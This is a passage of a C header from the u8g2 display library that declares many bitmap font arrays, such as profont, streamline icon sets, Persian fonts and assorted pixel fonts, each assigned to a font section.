u8g2_font_streamline_phone_t[] U8G2_FONT_SECTION("u8g2_font_streamline_phone_t"); extern const uint8_t u8g2_font_streamline_photography_t[] U8G2_FONT_SECTION("u8g2_font_streamline_photography_t"); extern const uint8_t u8g2_font_streamline_romance_t[] U8G2_FONT_SECTION("u8g2_font_streamline_romance_t"); extern const uint8_t u8g2_font_streamline_school_science_t[] U8G2_FONT_SECTION("u8g2_font_streamline_school_science_t"); extern const uint8_t u8g2_font_streamline_shopping_shipping_t[] U8G2_FONT_SECTION("u8g2_font_streamline_shopping_shipping_t"); extern const uint8_t u8g2_font_streamline_social_rewards_t[] U8G2_FONT_SECTION("u8g2_font_streamline_social_rewards_t"); extern const uint8_t u8g2_font_streamline_technology_t[] U8G2_FONT_SECTION("u8g2_font_streamline_technology_t"); extern const uint8_t u8g2_font_streamline_transportation_t[] U8G2_FONT_SECTION("u8g2_font_streamline_transportation_t"); extern const uint8_t u8g2_font_streamline_travel_wayfinding_t[] U8G2_FONT_SECTION("u8g2_font_streamline_travel_wayfinding_t"); extern const uint8_t u8g2_font_streamline_users_t[] U8G2_FONT_SECTION("u8g2_font_streamline_users_t"); extern const uint8_t u8g2_font_streamline_video_movies_t[] U8G2_FONT_SECTION("u8g2_font_streamline_video_movies_t"); extern const uint8_t u8g2_font_streamline_weather_t[] U8G2_FONT_SECTION("u8g2_font_streamline_weather_t"); extern const uint8_t u8g2_font_profont10_tf[] U8G2_FONT_SECTION("u8g2_font_profont10_tf"); extern const uint8_t u8g2_font_profont10_tr[] U8G2_FONT_SECTION("u8g2_font_profont10_tr"); extern const uint8_t u8g2_font_profont10_tn[] U8G2_FONT_SECTION("u8g2_font_profont10_tn"); extern const uint8_t u8g2_font_profont10_mf[] U8G2_FONT_SECTION("u8g2_font_profont10_mf"); extern const uint8_t u8g2_font_profont10_mr[] U8G2_FONT_SECTION("u8g2_font_profont10_mr"); extern const uint8_t u8g2_font_profont10_mn[] U8G2_FONT_SECTION("u8g2_font_profont10_mn"); extern const uint8_t u8g2_font_profont11_tf[] U8G2_FONT_SECTION("u8g2_font_profont11_tf"); extern const uint8_t u8g2_font_profont11_tr[] U8G2_FONT_SECTION("u8g2_font_profont11_tr"); extern const uint8_t u8g2_font_profont11_tn[] U8G2_FONT_SECTION("u8g2_font_profont11_tn"); extern const uint8_t u8g2_font_profont11_mf[] U8G2_FONT_SECTION("u8g2_font_profont11_mf"); extern const uint8_t u8g2_font_profont11_mr[] U8G2_FONT_SECTION("u8g2_font_profont11_mr"); extern const uint8_t u8g2_font_profont11_mn[] U8G2_FONT_SECTION("u8g2_font_profont11_mn"); extern const uint8_t u8g2_font_profont12_tf[] U8G2_FONT_SECTION("u8g2_font_profont12_tf"); extern const uint8_t u8g2_font_profont12_tr[] U8G2_FONT_SECTION("u8g2_font_profont12_tr"); extern const uint8_t u8g2_font_profont12_tn[] U8G2_FONT_SECTION("u8g2_font_profont12_tn"); extern const uint8_t u8g2_font_profont12_mf[] U8G2_FONT_SECTION("u8g2_font_profont12_mf"); extern const uint8_t u8g2_font_profont12_mr[] U8G2_FONT_SECTION("u8g2_font_profont12_mr"); extern const uint8_t u8g2_font_profont12_mn[] U8G2_FONT_SECTION("u8g2_font_profont12_mn"); extern const uint8_t u8g2_font_profont15_tf[] U8G2_FONT_SECTION("u8g2_font_profont15_tf"); extern const uint8_t u8g2_font_profont15_tr[] U8G2_FONT_SECTION("u8g2_font_profont15_tr"); extern const uint8_t u8g2_font_profont15_tn[] U8G2_FONT_SECTION("u8g2_font_profont15_tn"); extern const uint8_t u8g2_font_profont15_mf[] U8G2_FONT_SECTION("u8g2_font_profont15_mf"); extern const uint8_t u8g2_font_profont15_mr[] U8G2_FONT_SECTION("u8g2_font_profont15_mr"); extern const uint8_t u8g2_font_profont15_mn[] U8G2_FONT_SECTION("u8g2_font_profont15_mn"); extern const uint8_t u8g2_font_profont17_tf[] U8G2_FONT_SECTION("u8g2_font_profont17_tf"); extern const uint8_t u8g2_font_profont17_tr[] U8G2_FONT_SECTION("u8g2_font_profont17_tr"); extern const uint8_t u8g2_font_profont17_tn[] U8G2_FONT_SECTION("u8g2_font_profont17_tn"); extern const uint8_t u8g2_font_profont17_mf[] U8G2_FONT_SECTION("u8g2_font_profont17_mf"); extern const uint8_t u8g2_font_profont17_mr[] U8G2_FONT_SECTION("u8g2_font_profont17_mr"); extern const uint8_t u8g2_font_profont17_mn[] U8G2_FONT_SECTION("u8g2_font_profont17_mn"); extern const uint8_t u8g2_font_profont22_tf[] U8G2_FONT_SECTION("u8g2_font_profont22_tf"); extern const uint8_t u8g2_font_profont22_tr[] U8G2_FONT_SECTION("u8g2_font_profont22_tr"); extern const uint8_t u8g2_font_profont22_tn[] U8G2_FONT_SECTION("u8g2_font_profont22_tn"); extern const uint8_t u8g2_font_profont22_mf[] U8G2_FONT_SECTION("u8g2_font_profont22_mf"); extern const uint8_t u8g2_font_profont22_mr[] U8G2_FONT_SECTION("u8g2_font_profont22_mr"); extern const uint8_t u8g2_font_profont22_mn[] U8G2_FONT_SECTION("u8g2_font_profont22_mn"); extern const uint8_t u8g2_font_profont29_tf[] U8G2_FONT_SECTION("u8g2_font_profont29_tf"); extern const uint8_t u8g2_font_profont29_tr[] U8G2_FONT_SECTION("u8g2_font_profont29_tr"); extern const uint8_t u8g2_font_profont29_tn[] U8G2_FONT_SECTION("u8g2_font_profont29_tn"); extern const uint8_t u8g2_font_profont29_mf[] U8G2_FONT_SECTION("u8g2_font_profont29_mf"); extern const uint8_t u8g2_font_profont29_mr[] U8G2_FONT_SECTION("u8g2_font_profont29_mr"); extern const uint8_t u8g2_font_profont29_mn[] U8G2_FONT_SECTION("u8g2_font_profont29_mn"); extern const uint8_t u8g2_font_samim_10_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_10_t_all"); extern const uint8_t u8g2_font_samim_12_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_12_t_all"); extern const uint8_t u8g2_font_samim_14_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_14_t_all"); extern const uint8_t u8g2_font_samim_16_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_16_t_all"); extern const uint8_t u8g2_font_samim_fd_10_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_fd_10_t_all"); extern const uint8_t u8g2_font_samim_fd_12_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_fd_12_t_all"); extern const uint8_t u8g2_font_samim_fd_14_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_fd_14_t_all"); extern const uint8_t u8g2_font_samim_fd_16_t_all[] U8G2_FONT_SECTION("u8g2_font_samim_fd_16_t_all"); extern const uint8_t u8g2_font_ganj_nameh_sans10_t_all[] U8G2_FONT_SECTION("u8g2_font_ganj_nameh_sans10_t_all"); extern const uint8_t u8g2_font_ganj_nameh_sans12_t_all[] U8G2_FONT_SECTION("u8g2_font_ganj_nameh_sans12_t_all"); extern const uint8_t u8g2_font_ganj_nameh_sans14_t_all[] U8G2_FONT_SECTION("u8g2_font_ganj_nameh_sans14_t_all"); extern const uint8_t u8g2_font_ganj_nameh_sans16_t_all[] U8G2_FONT_SECTION("u8g2_font_ganj_nameh_sans16_t_all"); extern const uint8_t u8g2_font_iranian_sans_8_t_all[] U8G2_FONT_SECTION("u8g2_font_iranian_sans_8_t_all"); extern const uint8_t u8g2_font_iranian_sans_10_t_all[] U8G2_FONT_SECTION("u8g2_font_iranian_sans_10_t_all"); extern const uint8_t u8g2_font_iranian_sans_12_t_all[] U8G2_FONT_SECTION("u8g2_font_iranian_sans_12_t_all"); extern const uint8_t u8g2_font_iranian_sans_14_t_all[] U8G2_FONT_SECTION("u8g2_font_iranian_sans_14_t_all"); extern const uint8_t u8g2_font_iranian_sans_16_t_all[] U8G2_FONT_SECTION("u8g2_font_iranian_sans_16_t_all"); extern const uint8_t u8g2_font_mozart_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_mozart_nbp_tf"); extern const uint8_t u8g2_font_mozart_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_mozart_nbp_tr"); extern const uint8_t u8g2_font_mozart_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_mozart_nbp_tn"); extern const uint8_t u8g2_font_mozart_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_mozart_nbp_t_all"); extern const uint8_t u8g2_font_mozart_nbp_h_all[] U8G2_FONT_SECTION("u8g2_font_mozart_nbp_h_all"); extern const uint8_t u8g2_font_glasstown_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_glasstown_nbp_tf"); extern const uint8_t u8g2_font_glasstown_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_glasstown_nbp_tr"); extern const uint8_t u8g2_font_glasstown_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_glasstown_nbp_tn"); extern const uint8_t u8g2_font_glasstown_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_glasstown_nbp_t_all"); extern const uint8_t u8g2_font_shylock_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_shylock_nbp_tf"); extern const uint8_t u8g2_font_shylock_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_shylock_nbp_tr"); extern const uint8_t u8g2_font_shylock_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_shylock_nbp_tn"); extern const uint8_t u8g2_font_shylock_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_shylock_nbp_t_all"); extern const uint8_t u8g2_font_roentgen_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_roentgen_nbp_tf"); extern const uint8_t u8g2_font_roentgen_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_roentgen_nbp_tr"); extern const uint8_t u8g2_font_roentgen_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_roentgen_nbp_tn"); extern const uint8_t u8g2_font_roentgen_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_roentgen_nbp_t_all"); extern const uint8_t u8g2_font_roentgen_nbp_h_all[] U8G2_FONT_SECTION("u8g2_font_roentgen_nbp_h_all"); extern const uint8_t u8g2_font_calibration_gothic_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_calibration_gothic_nbp_tf"); extern const uint8_t u8g2_font_calibration_gothic_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_calibration_gothic_nbp_tr"); extern const uint8_t u8g2_font_calibration_gothic_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_calibration_gothic_nbp_tn"); extern const uint8_t u8g2_font_calibration_gothic_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_calibration_gothic_nbp_t_all"); extern const uint8_t u8g2_font_smart_patrol_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_smart_patrol_nbp_tf"); extern const uint8_t u8g2_font_smart_patrol_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_smart_patrol_nbp_tr"); extern const uint8_t u8g2_font_smart_patrol_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_smart_patrol_nbp_tn"); extern const uint8_t u8g2_font_prospero_bold_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_prospero_bold_nbp_tf"); extern const uint8_t u8g2_font_prospero_bold_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_prospero_bold_nbp_tr"); extern const uint8_t u8g2_font_prospero_bold_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_prospero_bold_nbp_tn"); extern const uint8_t u8g2_font_prospero_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_prospero_nbp_tf"); extern const uint8_t u8g2_font_prospero_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_prospero_nbp_tr"); extern const uint8_t u8g2_font_prospero_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_prospero_nbp_tn"); extern const uint8_t u8g2_font_balthasar_regular_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_balthasar_regular_nbp_tf"); extern const uint8_t u8g2_font_balthasar_regular_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_balthasar_regular_nbp_tr"); extern const uint8_t u8g2_font_balthasar_regular_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_balthasar_regular_nbp_tn"); extern const uint8_t u8g2_font_balthasar_titling_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_balthasar_titling_nbp_tf"); extern const uint8_t u8g2_font_balthasar_titling_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_balthasar_titling_nbp_tr"); extern const uint8_t u8g2_font_balthasar_titling_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_balthasar_titling_nbp_tn"); extern const uint8_t u8g2_font_synchronizer_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_synchronizer_nbp_tf"); extern const uint8_t u8g2_font_synchronizer_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_synchronizer_nbp_tr"); extern const uint8_t u8g2_font_synchronizer_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_synchronizer_nbp_tn"); extern const uint8_t u8g2_font_mercutio_basic_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_mercutio_basic_nbp_tf"); extern const uint8_t u8g2_font_mercutio_basic_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_mercutio_basic_nbp_tr"); extern const uint8_t u8g2_font_mercutio_basic_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_mercutio_basic_nbp_tn"); extern const uint8_t u8g2_font_mercutio_basic_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_mercutio_basic_nbp_t_all"); extern const uint8_t u8g2_font_mercutio_sc_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_mercutio_sc_nbp_tf"); extern const uint8_t u8g2_font_mercutio_sc_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_mercutio_sc_nbp_tr"); extern const uint8_t u8g2_font_mercutio_sc_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_mercutio_sc_nbp_tn"); extern const uint8_t u8g2_font_mercutio_sc_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_mercutio_sc_nbp_t_all"); extern const uint8_t u8g2_font_miranda_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_miranda_nbp_tf"); extern const uint8_t u8g2_font_miranda_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_miranda_nbp_tr"); extern const uint8_t u8g2_font_miranda_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_miranda_nbp_tn"); extern const uint8_t u8g2_font_nine_by_five_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_nine_by_five_nbp_tf"); extern const uint8_t u8g2_font_nine_by_five_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_nine_by_five_nbp_tr"); extern const uint8_t u8g2_font_nine_by_five_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_nine_by_five_nbp_tn"); extern const uint8_t u8g2_font_nine_by_five_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_nine_by_five_nbp_t_all"); extern const uint8_t u8g2_font_rosencrantz_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_rosencrantz_nbp_tf"); extern const uint8_t u8g2_font_rosencrantz_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_rosencrantz_nbp_tr"); extern const uint8_t u8g2_font_rosencrantz_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_rosencrantz_nbp_tn"); extern const uint8_t u8g2_font_rosencrantz_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_rosencrantz_nbp_t_all"); extern const uint8_t u8g2_font_guildenstern_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_guildenstern_nbp_tf"); extern const uint8_t u8g2_font_guildenstern_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_guildenstern_nbp_tr"); extern const uint8_t u8g2_font_guildenstern_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_guildenstern_nbp_tn"); extern const uint8_t u8g2_font_guildenstern_nbp_t_all[] U8G2_FONT_SECTION("u8g2_font_guildenstern_nbp_t_all"); extern const uint8_t u8g2_font_astragal_nbp_tf[] U8G2_FONT_SECTION("u8g2_font_astragal_nbp_tf"); extern const uint8_t u8g2_font_astragal_nbp_tr[] U8G2_FONT_SECTION("u8g2_font_astragal_nbp_tr"); extern const uint8_t u8g2_font_astragal_nbp_tn[] U8G2_FONT_SECTION("u8g2_font_astragal_nbp_tn"); extern const uint8_t u8g2_font_habsburgchancery_tf[] U8G2_FONT_SECTION("u8g2_font_habsburgchancery_tf"); extern const uint8_t u8g2_font_habsburgchancery_tr[] U8G2_FONT_SECTION("u8g2_font_habsburgchancery_tr"); extern const uint8_t u8g2_font_habsburgchancery_tn[] U8G2_FONT_SECTION("u8g2_font_habsburgchancery_tn"); extern const uint8_t u8g2_font_habsburgchancery_t_all[] U8G2_FONT_SECTION("u8g2_font_habsburgchancery_t_all"); extern const uint8_t u8g2_font_missingplanet_tf[] U8G2_FONT_SECTION("u8g2_font_missingplanet_tf"); extern const uint8_t u8g2_font_missingplanet_tr[] U8G2_FONT_SECTION("u8g2_font_missingplanet_tr"); extern const uint8_t u8g2_font_missingplanet_tn[] U8G2_FONT_SECTION("u8g2_font_missingplanet_tn"); extern const uint8_t u8g2_font_missingplanet_t_all[] U8G2_FONT_SECTION("u8g2_font_missingplanet_t_all"); extern const uint8_t u8g2_font_ordinarybasis_tf[] U8G2_FONT_SECTION("u8g2_font_ordinarybasis_tf"); extern const uint8_t u8g2_font_ordinarybasis_tr[] U8G2_FONT_SECTION("u8g2_font_ordinarybasis_tr"); extern const uint8_t u8g2_font_ordinarybasis_tn[] U8G2_FONT_SECTION("u8g2_font_ordinarybasis_tn"); extern const uint8_t u8g2_font_ordinarybasis_t_all[] U8G2_FONT_SECTION("u8g2_font_ordinarybasis_t_all"); extern const uint8_t u8g2_font_pixelmordred_tf[] U8G2_FONT_SECTION("u8g2_font_pixelmordred_tf"); extern const uint8_t u8g2_font_pixelmordred_tr[] U8G2_FONT_SECTION("u8g2_font_pixelmordred_tr"); extern const uint8_t u8g2_font_pixelmordred_tn[] U8G2_FONT_SECTION("u8g2_font_pixelmordred_tn"); extern const uint8_t u8g2_font_pixelmordred_t_all[] U8G2_FONT_SECTION("u8g2_font_pixelmordred_t_all"); extern const uint8_t u8g2_font_secretaryhand_tf[] U8G2_FONT_SECTION("u8g2_font_secretaryhand_tf"); extern const uint8_t u8g2_font_secretaryhand_tr[] U8G2_FONT_SECTION("u8g2_font_secretaryhand_tr"); extern const uint8_t u8g2_font_secretaryhand_tn[] U8G2_FONT_SECTION("u8g2_font_secretaryhand_tn"); extern const uint8_t u8g2_font_secretaryhand_t_all[] U8G2_FONT_SECTION("u8g2_font_secretaryhand_t_all"); extern const uint8_t u8g2_font_garbagecan_tf[] U8G2_FONT_SECTION("u8g2_font_garbagecan_tf"); extern const uint8_t u8g2_font_garbagecan_tr[] U8G2_FONT_SECTION("u8g2_font_garbagecan_tr"); extern const uint8_t u8g2_font_beanstalk_mel_tr[] U8G2_FONT_SECTION("u8g2_font_beanstalk_mel_tr"); extern const uint8_t u8g2_font_beanstalk_mel_tn[] U8G2_FONT_SECTION("u8g2_font_beanstalk_mel_tn"); extern const uint8_t u8g2_font_cube_mel_tr[] U8G2_FONT_SECTION("u8g2_font_cube_mel_tr"); extern const uint8_t u8g2_font_cube_mel_tn[] U8G2_FONT_SECTION("u8g2_font_cube_mel_tn"); extern const uint8_t u8g2_font_mademoiselle_mel_tr[] U8G2_FONT_SECTION("u8g2_font_mademoiselle_mel_tr"); extern const uint8_t u8g2_font_mademoiselle_mel_tn[] U8G2_FONT_SECTION("u8g2_font_mademoiselle_mel_tn"); extern const uint8_t u8g2_font_pieceofcake_mel_tr[] U8G2_FONT_SECTION("u8g2_font_pieceofcake_mel_tr"); extern const uint8_t u8g2_font_pieceofcake_mel_tn[] U8G2_FONT_SECTION("u8g2_font_pieceofcake_mel_tn"); extern const uint8_t u8g2_font_press_mel_tr[] U8G2_FONT_SECTION("u8g2_font_press_mel_tr"); extern const uint8_t u8g2_font_press_mel_tn[] U8G2_FONT_SECTION("u8g2_font_press_mel_tn"); extern const uint8_t u8g2_font_repress_mel_tr[] U8G2_FONT_SECTION("u8g2_font_repress_mel_tr"); extern const uint8_t u8g2_font_repress_mel_tn[] U8G2_FONT_SECTION("u8g2_font_repress_mel_tn"); extern const uint8_t u8g2_font_sticker_mel_tr[] U8G2_FONT_SECTION("u8g2_font_sticker_mel_tr"); extern const uint8_t u8g2_font_sticker_mel_tn[] U8G2_FONT_SECTION("u8g2_font_sticker_mel_tn"); extern const uint8_t u8g2_font_celibatemonk_tr[] U8G2_FONT_SECTION("u8g2_font_celibatemonk_tr"); extern const uint8_t u8g2_font_disrespectfulteenager_tu[] U8G2_FONT_SECTION("u8g2_font_disrespectfulteenager_tu"); extern const uint8_t u8g2_font_michaelmouse_tu[] U8G2_FONT_SECTION("u8g2_font_michaelmouse_tu"); extern const uint8_t u8g2_font_sandyforest_tr[] U8G2_FONT_SECTION("u8g2_font_sandyforest_tr"); extern const uint8_t u8g2_font_sandyforest_tn[] U8G2_FONT_SECTION("u8g2_font_sandyforest_tn"); extern const uint8_t u8g2_font_sandyforest_tu[] U8G2_FONT_SECTION("u8g2_font_sandyforest_tu"); extern const uint8_t u8g2_font_cupcakemetoyourleader_tr[] U8G2_FONT_SECTION("u8g2_font_cupcakemetoyourleader_tr"); extern const uint8_t u8g2_font_cupcakemetoyourleader_tn[] U8G2_FONT_SECTION("u8g2_font_cupcakemetoyourleader_tn"); extern const uint8_t u8g2_font_cupcakemetoyourleader_tu[] U8G2_FONT_SECTION("u8g2_font_cupcakemetoyourleader_tu"); extern const uint8_t u8g2_font_oldwizard_tf[] U8G2_FONT_SECTION("u8g2_font_oldwizard_tf"); extern const uint8_t u8g2_font_oldwizard_tr[] U8G2_FONT_SECTION("u8g2_font_oldwizard_tr"); extern const uint8_t u8g2_font_oldwizard_tn[] U8G2_FONT_SECTION("u8g2_font_oldwizard_tn"); extern const uint8_t u8g2_font_oldwizard_tu[] U8G2_FONT_SECTION("u8g2_font_oldwizard_tu"); extern const uint8_t u8g2_font_squirrel_tr[] U8G2_FONT_SECTION("u8g2_font_squirrel_tr"); extern const uint8_t u8g2_font_squirrel_tn[] U8G2_FONT_SECTION("u8g2_font_squirrel_tn"); extern const uint8_t u8g2_font_squirrel_tu[] U8G2_FONT_SECTION("u8g2_font_squirrel_tu"); extern const uint8_t u8g2_font_diodesemimono_tr[] U8G2_FONT_SECTION("u8g2_font_diodesemimono_tr"); extern const uint8_t u8g2_font_questgiver_tr[] U8G2_FONT_SECTION("u8g2_font_questgiver_tr"); extern const uint8_t u8g2_font_seraphimb1_tr[] U8G2_FONT_SECTION("u8g2_font_seraphimb1_tr"); extern const uint8_t u8g2_font_resoledbold_tr[] U8G2_FONT_SECTION("u8g2_font_resoledbold_tr"); extern const uint8_t u8g2_font_resoledmedium_tr[] U8G2_FONT_SECTION("u8g2_font_resoledmedium_tr"); extern const uint8_t u8g2_font_jinxedwizards_tr[] U8G2_FONT_SECTION("u8g2_font_jinxedwizards_tr"); extern const uint8_t u8g2_font_lastpriestess_tr[] U8G2_FONT_SECTION("u8g2_font_lastpriestess_tr"); extern const uint8_t u8g2_font_lastpriestess_tu[] U8G2_FONT_SECTION("u8g2_font_lastpriestess_tu"); extern const uint8_t u8g2_font_bitcasual_tf[] U8G2_FONT_SECTION("u8g2_font_bitcasual_tf"); extern const uint8_t u8g2_font_bitcasual_tr[] U8G2_FONT_SECTION("u8g2_font_bitcasual_tr"); extern const uint8_t u8g2_font_bitcasual_tn[] U8G2_FONT_SECTION("u8g2_font_bitcasual_tn"); extern const uint8_t u8g2_font_bitcasual_tu[] U8G2_FONT_SECTION("u8g2_font_bitcasual_tu"); extern const uint8_t u8g2_font_bitcasual_t_all[] U8G2_FONT_SECTION("u8g2_font_bitcasual_t_all"); extern const uint8_t u8g2_font_koleeko_tf[] U8G2_FONT_SECTION("u8g2_font_koleeko_tf"); extern const uint8_t u8g2_font_koleeko_tr[] U8G2_FONT_SECTION("u8g2_font_koleeko_tr"); extern const uint8_t u8g2_font_koleeko_tn[] U8G2_FONT_SECTION("u8g2_font_koleeko_tn"); extern const uint8_t u8g2_font_koleeko_tu[] U8G2_FONT_SECTION("u8g2_font_koleeko_tu"); extern const uint8_t u8g2_font_tenfatguys_tf[] U8G2_FONT_SECTION("u8g2_font_tenfatguys_tf"); extern const uint8_t u8g2_font_tenfatguys_tr[] U8G2_FONT_SECTION("u8g2_font_tenfatguys_tr"); extern const uint8_t u8g2_font_tenfatguys_tn[] U8G2_FONT_SECTION("u8g2_font_tenfatguys_tn"); extern const uint8_t u8g2_font_tenfatguys_tu[] U8G2_FONT_SECTION("u8g2_font_tenfatguys_tu"); extern const uint8_t u8g2_font_tenfatguys_t_all[] U8G2_FONT_SECTION("u8g2_font_tenfatguys_t_all"); extern const uint8_t u8g2_font_tenstamps_mf[] U8G2_FONT_SECTION("u8g2_font_tenstamps_mf"); extern const uint8_t u8g2_font_tenstamps_mr[] U8G2_FONT_SECTION("u8g2_font_tenstamps_mr"); extern const uint8_t u8g2_font_tenstamps_mn[] U8G2_FONT_SECTION("u8g2_font_tenstamps_mn"); extern const uint8_t u8g2_font_tenstamps_mu[] U8G2_FONT_SECTION("u8g2_font_tenstamps_mu"); extern const uint8_t u8g2_font_tenthinguys_tf[] U8G2_FONT_SECTION("u8g2_font_tenthinguys_tf"); extern const uint8_t u8g2_font_tenthinguys_tr[] U8G2_FONT_SECTION("u8g2_font_tenthinguys_tr"); extern const uint8_t u8g2_font_tenthinguys_tn[] U8G2_FONT_SECTION("u8g2_font_tenthinguys_tn"); extern const uint8_t u8g2_font_tenthinguys_tu[] U8G2_FONT_SECTION("u8g2_font_tenthinguys_tu"); extern const uint8_t u8g2_font_tenthinguys_t_all[] U8G2_FONT_SECTION("u8g2_font_tenthinguys_t_all"); extern const uint8_t u8g2_font_tenthinnerguys_tf[] U8G2_FONT_SECTION("u8g2_font_tenthinnerguys_tf"); extern const uint8_t u8g2_font_tenthinnerguys_tr[] U8G2_FONT_SECTION("u8g2_font_tenthinnerguys_tr"); extern const uint8_t u8g2_font_tenthinnerguys_tn[] U8G2_FONT_SECTION("u8g2_font_tenthinnerguys_tn"); extern const uint8_t u8g2_font_tenthinnerguys_tu[] U8G2_FONT_SECTION("u8g2_font_tenthinnerguys_tu"); extern const uint8_t u8g2_font_tenthinnerguys_t_all[] U8G2_FONT_SECTION("u8g2_font_tenthinnerguys_t_all"); extern const uint8_t u8g2_font_twelvedings_t_all[] U8G2_FONT_SECTION("u8g2_font_twelvedings_t_all"); extern const uint8_t u8g2_font_frigidaire_mr[] U8G2_FONT_SECTION("u8g2_font_frigidaire_mr"); extern const uint8_t u8g2_font_lord_mr[] U8G2_FONT_SECTION("u8g2_font_lord_mr"); extern const uint8_t u8g2_font_abel_mr[] U8G2_FONT_SECTION("u8g2_font_abel_mr"); extern const uint8_t u8g2_font_fewture_tf[] U8G2_FONT_SECTION("u8g2_font_fewture_tf"); extern const uint8_t u8g2_font_fewture_tr[] U8G2_FONT_SECTION("u8g2_font_fewture_tr"); extern const uint8_t u8g2_font_fewture_tn[] U8G2_FONT_SECTION("u8g2_font_fewture_tn"); extern const uint8_t u8g2_font_halftone_tf[] U8G2_FONT_SECTION("u8g2_font_halftone_tf"); extern const uint8_t u8g2_font_halftone_tr[] U8G2_FONT_SECTION("u8g2_font_halftone_tr"); extern const uint8_t u8g2_font_halftone_tn[] U8G2_FONT_SECTION("u8g2_font_halftone_tn"); extern const uint8_t u8g2_font_nerhoe_tf[] U8G2_FONT_SECTION("u8g2_font_nerhoe_tf"); extern const uint8_t u8g2_font_nerhoe_tr[] U8G2_FONT_SECTION("u8g2_font_nerhoe_tr"); extern const uint8_t u8g2_font_nerhoe_tn[] U8G2_FONT_SECTION("u8g2_font_nerhoe_tn"); extern const uint8_t u8g2_font_oskool_tf[] U8G2_FONT_SECTION("u8g2_font_oskool_tf"); extern const uint8_t u8g2_font_oskool_tr[] U8G2_FONT_SECTION("u8g2_font_oskool_tr"); extern const uint8_t u8g2_font_oskool_tn[] U8G2_FONT_SECTION("u8g2_font_oskool_tn"); extern const uint8_t u8g2_font_tinytim_tf[] U8G2_FONT_SECTION("u8g2_font_tinytim_tf"); extern const uint8_t u8g2_font_tinytim_tr[] U8G2_FONT_SECTION("u8g2_font_tinytim_tr"); extern const uint8_t u8g2_font_tinytim_tn[] U8G2_FONT_SECTION("u8g2_font_tinytim_tn"); extern const uint8_t u8g2_font_tooseornament_tf[] U8G2_FONT_SECTION("u8g2_font_tooseornament_tf"); extern const uint8_t u8g2_font_tooseornament_tr[] U8G2_FONT_SECTION("u8g2_font_tooseornament_tr"); extern const uint8_t u8g2_font_tooseornament_tn[] U8G2_FONT_SECTION("u8g2_font_tooseornament_tn"); extern const uint8_t u8g2_font_bauhaus2015_tr[] U8G2_FONT_SECTION("u8g2_font_bauhaus2015_tr"); extern const uint8_t u8g2_font_bauhaus2015_tn[] U8G2_FONT_SECTION("u8g2_font_bauhaus2015_tn"); extern const uint8_t u8g2_font_finderskeepers_tf[] U8G2_FONT_SECTION("u8g2_font_finderskeepers_tf"); extern const uint8_t u8g2_font_finderskeepers_tr[] U8G2_FONT_SECTION("u8g2_font_finderskeepers_tr"); extern const uint8_t u8g2_font_finderskeepers_tn[] U8G2_FONT_SECTION("u8g2_font_finderskeepers_tn"); extern const uint8_t u8g2_font_sirclivethebold_tr[] U8G2_FONT_SECTION("u8g2_font_sirclivethebold_tr"); extern const uint8_t u8g2_font_sirclivethebold_tn[] U8G2_FONT_SECTION("u8g2_font_sirclivethebold_tn"); extern const uint8_t u8g2_font_sirclive_tr[] U8G2_FONT_SECTION("u8g2_font_sirclive_tr"); extern const 